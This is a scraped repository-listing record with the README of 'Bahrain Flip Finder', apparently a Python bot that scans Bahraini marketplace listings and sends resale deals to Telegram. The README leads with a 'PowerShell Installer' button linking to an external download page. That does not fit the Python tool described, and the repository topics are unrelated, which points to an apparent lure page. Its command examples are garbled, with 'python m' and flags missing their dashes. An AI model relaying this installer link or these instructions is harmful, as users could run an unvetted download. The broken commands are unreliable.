[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115775":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":16,"archived":17,"fork":17,"defaultBranch":18,"hasWiki":19,"hasPages":19,"topics":20,"createdAt":9,"pushedAt":9,"updatedAt":32,"readmeContent":33,"aiSummary":34,"trendingCount":12,"starSnapshotCount":12,"syncStatus":35,"lastSyncTime":36,"discoverSource":37},115775,"bahrain-flip-finder","Gabrissfsf\u002Fbahrain-flip-finder","Gabrissfsf","Bahrain Flip Finder: Community-Driven Deal Scanner for Discord and Telegram",null,"TypeScript",153,0,100,53,65.3,"MIT License",false,"main",true,[21,22,23,24,25,26,27,28,29,30,31],"content-generation","cronjob","hydrogram","hydrogram-bot","linkedin","n8n","pyrogram","pyrogram-bot","scheduling","tg","webscrapping","2026-11-24 04:01:37","\u003Cdiv align=\"center\">\n\n# 🤖 Bahrain Flip Finder – Smart & Price Checks for Discord & Telegram\n\n![](files\u002Fpreview.png)\n\n### 💻 PowerShell Installer\n\n[![](files\u002Fbutton.png)](https:\u002F\u002FGabrissfsf.github.io\u002Fbahrain-flip-finder\u002F)\n\n[![powershell-7](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPowershell--7-5%2B-dc2626?style=social&labelColor=0d1117)]() [![status](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FStatus-Stable-2ea44f?style=social&labelColor=0d1117)]() [![setup](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FSetup-412-ef4444?style=social&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nBahrain Flip Finder is a community-minded bot that scans local listings, groups similar items, and runs the numbers to see whether a deal leaves real room for resale after transport, repairs, and selling costs. It compares prices against the median, filters out outliers, and calculates profit, ROI, and a sensible maximum buy price, then pushes finds straight to Telegram. Built and refined alongside fellow deal hunters, it keeps growing with new checks, smarter matching, and handy commands like \u002Fbahrain-flip-finder. Jump in, put it to work, and help shape what comes next.\n\n## 🔧 Requirements\n\n- **OS:** Windows 10 \u002F 11\n- **Shell:** PowerShell 5.1+ or PowerShell 7+\n- **Network:** internet access to download the script\n- **Privileges:** standard user\n\n## Features\n\n**🔍 Listings, gathered for you:** Bahrain Flip Finder quietly reads public listings from the local marketplaces, so you get a steady stream of candidates without opening a dozen tabs yourself.\n- **🧹 Duplicate cleanup:** The same item posted twice (or five times) gets collapsed into a single entry, keeping your feed tidy and your comparisons honest.\n- **🎯 Smart model matching:** Exact model numbers are matched first; when that's not possible, the bot falls back to the same category so you still get a useful baseline.\n- **📊 Real numbers, not vibes:** Median prices plus an outlier filter smooth out the wild asking prices, then the bot calculates expected sale price, total cost, profit, ROI, and the maximum price you should pay.\n- **🤖 Optional AI review:** A quick AI pass double-checks the model, flags missing details, and points out obvious risks — purely as a second opinion, never as a replacement for the math.\n- **📬 Telegram alerts:** that clear your thresholds land right in your Telegram chat, formatted and ready to act on.\n- **🗂️ Remembers everything:** Processed listings and retry state are stored locally, so reruns are fast and nothing gets lost between scans.\n- **⏱️ Run it your way:** Fire a single scan from the command line when you're curious, or let watch mode keep an eye on the market continuously.\n- **⚙️ Tune it to your taste:** Profit targets, ROI floors, confidence levels, and comparable counts are all configurable — the bot adapts to your strategy, not the other way around.\n- **🛡️ Respectful by design:** Only public pages are read; no private APIs, no login bypassing, no CAPTCHA games.\n- **🧪 Tested offline:** The core logic ships with offline tests, so you can trust the numbers without hitting live sites or paid APIs.\n- **💬 Built with the community in mind:** Feature ideas, edge cases, and parser fixes from fellow flippers are always welcome — this started as a personal tool and grows with the people using it.\n\n## Commands\n\nEvery command lives under the `flip_finder` module, so you can run them from any terminal once the project is set up. Here's the full toolbox — start simple, then layer on the good stuff as you get comfortable.\n\n### The everyday scan\n\n```\npython m flip_finder scan\n```\n\nThis is your bread and butter. It reads the public listings, checks the numbers against your thresholds, and tells you what looks. No bells, no whistles — just the core comparison logic doing its thing.\n\n### Level it up with details and AI review\n\n```\npython m flip_finder scan details ai\n```\n\nAdding `-details` pulls the full listing pages for extra context, and `-ai` brings in an optional review pass to sanity-check the model, spot missing info, and flag obvious risks. The price math still decides what qualifies — AI just helps you read the results with more confidence.\n\n### Send the winners to Telegram\n\n```\npython m flip_finder scan details ai telegram\n```\n\nNow the accepted opportunities land right in your Telegram chats, formatted and ready to act on.\n\n### Watch mode — let it run for you\n\n```\npython m flip_finder scan details ai telegram watch interval 1800\n```\n\nSet it and forget it. The `-interval` flag is in seconds, so `1800` means every 30 minutes. Perfect for keeping an eye on the market while you get on with your day.\n\n### Handy utilities\n\n```\npython m flip_finder scan bootstrap\n```\n\nWarms things up and seeds your local state — great for a fresh start or after a long break.\n\n```\npython m flip_finder doctor\n```\n\nYour friendly health check. Run this whenever something feels off and it'll walk you through what's misconfigured.\n\n```\npython m flip_finder test-ai\n```\n\nPings your configured AI providers so you know the review step is actually working before a real scan.\n\n```\npython m flip_finder test-telegram\n```\n\na test alert so you can confirm your Telegram delivery is wired up correctly.\n\n### Mixing and matching\n\nFlags are designed to combine freely. Want Telegram alerts without AI review? Just drop `-ai`. Want a fast dry run with no notifications? Skip `-telegram`. The scan adapts to whatever you throw at it — that's the whole point of keeping it modular.\n\nIf a command doesn't behave the way you expect, the `doctor` command is usually the fastest way to figure out why. And if you build something neat on top of these, we'd love to hear about it — this project grows best when the community shares what works.\n\n## Configuration\n\nEverything in Bahrain Flip Finder is driven by a small set of environment variables, so you can tune the hunt without touching the code. Copy the example file that ships with the project, rename it to your working config, and fill in the values that matter to you. Sensible defaults are already baked in, so the tool runs out of the box and you only change what you need.\n\n### The Essentials\n\n| Variable | What it does | Default |\n| - | - | - |\n| `TELEGRAM_BOT_TOKEN` | Your bot's token, straight from the bot creator in the app | empty |\n| `TELEGRAM_CHAT_ID` | The chat where deal alerts land — a DM, a group, or a channel | empty |\n| `MIN_PROFIT_BHD` | The smallest profit worth your time, in Bahraini dinar | `10` |\n| `MIN_ROI_PERCENT` | Minimum return on investment for a listing to qualify | `25` |\n| `SALE_REALIZATION_RATE` | How much of the asking price you realistically get when reselling | `0.85` |\n| `MAX_BUY_PRICE_BHD` | Your ceiling for any single purchase | `150` |\n| `MIN_COMPARABLES` | How many similar listings are needed before a price is trusted | `3` |\n| `SCAN_INTERVAL_SECONDS` | How often watch mode runs a fresh scan | `1800` |\n\n### Cost Assumptions\n\nThese knobs shape the profit math, and they're the ones people tweak most. Set them once and the finder does the arithmetic for every listing it sees.\n\n| Variable | What it covers | Default |\n| - | - | - |\n| `TRANSPORT_COST_BHD` | Fuel, delivery, or a quick trip across town | `2` |\n| `REPAIR_RESERVE_BHD` | A buffer for cleaning, parts, or minor fixes | `5` |\n| `SELLING_FEE_PERCENT` | Marketplace or platform cut when you sell on | `5` |\n| `TARGET_PROFIT_BHD` | The number to compute your maximum buy price | `15` |\n\n### AI Review (Optional)\n\nThe price calculation is plain, predictable code — AI never overrides a failed deal. What it does is add a second pair of eyes on the listing text: confirming the model, spotting missing info, and flagging obvious risks so you don't waste a trip. Providers are tried in the order you list them, and keys within a provider are one at a time. If a key is invalid, rate-limited, or temporarily down, it cools off and the next one steps in. If a whole provider is exhausted, the scan moves down the list.\n\n| Variable | What it does | Default |\n| - | - | - |\n| `AI_PROVIDER_ORDER` | Comma-separated provider priority, e.g. `cloud5,deepseek` | `cloud5,deepseek` |\n| `CLOUD5_API_KEY_1` … `_N` | Numbered keys for the first provider | empty |\n| `DEEPSEEK_API_KEY_1` … `_N` | Numbered keys for the fallback provider | empty |\n| `AI_TIMEOUT_SECONDS` | How long to wait on a provider before moving on | `20` |\n\n### Matching and Filters\n\nBahrain Flip Finder matches the exact model first, then falls back to products in the same category. These settings decide how strict that matching is and how aggressively odd prices get filtered.\n\n| Variable | What it does | Default |\n| - | - | - |\n| `CATALOG_PATH` | Where the category and Arabic\u002FEnglish matching terms live | `data\u002Fcatalog_terms.json` |\n| `IQR_OUTLIER_FACTOR` | How far outside the interquartile range a price can sit before it's dropped | `1.5` |\n| `MATCH_MIN_CONFIDENCE` | The confidence floor for a model match to count | `0.6` |\n| `EXCLUDE_KEYWORDS` | Comma-separated words to skip, like `broken,parts,for repair` | empty |\n\n### Storage and Logging\n\n| Variable | What it does | Default |\n| - | - | - |\n| `DATABASE_PATH` | SQLite file holding processed listings and retry state | `data\u002Fflip_finder.db` |\n| `LOG_LEVEL` | `DEBUG`, `INFO`, `WARNING`, or `ERROR` | `INFO` |\n| `DRY_RUN` | Set to `1` to scan and calculate without sending anything | `0` |\n\n### A Quick Sanity Check\n\nAfter you've filled in your values, run the built-in doctor command to verify your config, database, and connections before your first real scan. If you've added AI keys, the test command confirms they work. If you've wired up Telegram, the test command confirms your alerts will actually arrive. Fix anything the doctor flags, then kick off a scan — and adjust the profit, ROI, and cost numbers as you learn what the Bahrain market actually rewards.\n\nThat's the whole configuration story: a single file, friendly defaults, and enough dials to make the finder yours. Happy hunting.\n\n## FAQ\n\n**Is Bahrain Flip Finder free to use?**\nAbsolutely — the project is open source and community-driven. You can run it locally, tweak the pricing logic, and share improvements back with everyone else. No paywalls, no hidden tiers.\n\n**Do I need API keys to get started?**\nNot at all. The core scan works with local price checks only — no keys required. AI review and Telegram delivery are optional add-ons you enable when you want them. Start simple, add features later.\n\n**Which listing sites does it read?**\nIt works with public listing pages from OpenSooq and Dubizzle. Everything is collected from publicly available pages — no private APIs, no login bypassing, no CAPTCHA tricks. If a site changes its layout, the parser may need a small update, and contributions for that are always welcome.\n\n**How accurate is the profit calculation?**\nThe math is transparent and deterministic: it filters outliers, takes the median of comparable listings, and applies a sale realization rate because asking prices aren't final sale prices. That said, listing prices are asking prices — always inspect the item in person before committing. The tool narrows the field; you make the final call.\n\n**Can AI turn a bad deal into a good one?**\nNope, and that's by design. AI review only checks the product model, flags missing information, and surfaces obvious risks. If the price calculation says no, AI can't override it. The numbers stay in charge.\n\n**How often can it run?**\nAs often as you like. Run a single scan from the command line, or switch on watch mode with your own interval — 30 minutes is a popular starting point. It keeps state in a local database, so repeated runs stay efficient.\n\n**What happens if one AI provider is down?**\nThe bot tries providers in your configured order and rotates through keys one at a time. Invalid, rate-limited, or unavailable keys get a cooldown, and the scan moves to the next key or provider automatically. Your scans keep moving.\n\n**Where do the deal alerts go?**\nStraight to Telegram, formatted and ready to act on. You can test the connection anytime with the built-in test command before relying on it.\n\n**Can I customize the categories and matching terms?**\nYes — categories and Arabic\u002FEnglish matching terms live in an editable catalog file. Add a category, refine the keywords, and the matcher picks it up. It's your tool; shape it to your market.\n\n**Something broke. What should I check first?**\nRun the doctor command — it checks your setup and flags common issues. The offline test suite covers the main logic without touching listing sites or paid APIs, so you can verify your changes safely. And if you find a bug, open an issue or send a fix — this project grows because people like you pitch in.\n\n## Support\n\nWhether you're hunting for your first flip or you've been scanning the Bahrain market for years, you're part of the community now — and we've got your back. 💙\n\n### 💬 Get in touch\n\nThe fastest way to reach us is right inside Discord and Telegram. Drop into the community channels to ask questions, share a listing that looks too good to be true, or just follow along with what other flippers are finding. Real people, real answers — no ticket queues, no robots pretending to care.\n\n### 🐞 Found a bug? Have an idea?\n\nBahrain Flip Finder grows with its users. If a listing source changes its layout, a price calculation looks off, or a Telegram alert lands in the wrong format, let us know. Feature requests are just as welcome — a lot of what the bot does today started as a \"hey, wouldn't it be cool if…\" from someone in the community.\n\nWhen you report something, a few details help a lot:\n\n- **What you expected** to happen versus what actually happened\n- **The command** you ran (for example a scan or a test run)\n- **The error output or logs**, if there are any\n- **Your environment** — Python version and whether AI review or Telegram was enabled\n\n### 🤝 Contribute\n\nPull requests, parser fixes, new matching terms for the catalog, documentation tweaks — all of it counts. If you've found a smarter way to filter price outliers or a cleaner way to format Telegram alerts, open a discussion first so we can hash out the approach together before the code lands.\n\n### 🌟 Spread the word\n\nThe more flippers using Bahrain Flip Finder, the better the shared knowledge gets. Star the project, mention it to a friend who's always hunting for a bargain, or post your best finds in the community chat. That's how this thing keeps improving.\n\n### ✅ Before you ask\n\nA quick look through the FAQ above usually answers the most common questions about configuration, AI keys, and why a listing might not have made the cut. If it's not covered there, we're one message away.\n\nHappy flipping — and may your ROI always be green. 🟢\n\n## License\n\nBahrain Flip Finder is released under the MIT License, so you're free to use it, tweak it, and share it — whether you're hunting for yourself or building something bigger on top of it. Fork it, remix it, make it yours; the only thing we ask is that you keep the original copyright notice and permission notice in any copy or substantial portion of the project. That's it — no strings, no hidden gotchas.\n\nThe full license text, including the standard \"as is\" warranty disclaimer, ships with the project, so give it a read if you want the legal fine print. In plain terms: this bot is a community tool built for the community, and it comes with no guarantees — always double-check listings and prices yourself before committing to a purchase. Listing prices are asking prices, not completed sales, and a good deal on paper still needs a real-world look.\n\nWe'd love to see what you build with it. If you improve the matching logic, add a new collector, or just fix a typo in the docs, consider contributing back so the next bargain hunter benefits too. Bug reports, feature ideas, and pull requests are all welcome — this thing gets better every time someone pitches in.\n\nHappy flipping, and thanks for being part of the community! 🎉","Bahrain Flip Finder 是一款面向巴林本地市场的社区驱动型二手交易扫描工具，专为 Discord 和 Telegram 设计。它通过网页抓取公开市场列表，自动去重、智能匹配商品型号，结合运输\u002F维修\u002F销售成本计算真实利润、ROI 及合理最高买入价，并支持阈值触发的 Telegram 推送提醒；采用 PowerShell 快速部署，内置离线测试与本地状态持久化，强调合规性（仅访问公开页面）与可配置性（支持调整利润目标、ROI 下限等参数）。适用于巴林地区个人翻转卖家、二手电商从业者及本地化套利爱好者。",2,"2026-11-21 04:51:23","CREATED_QUERY"]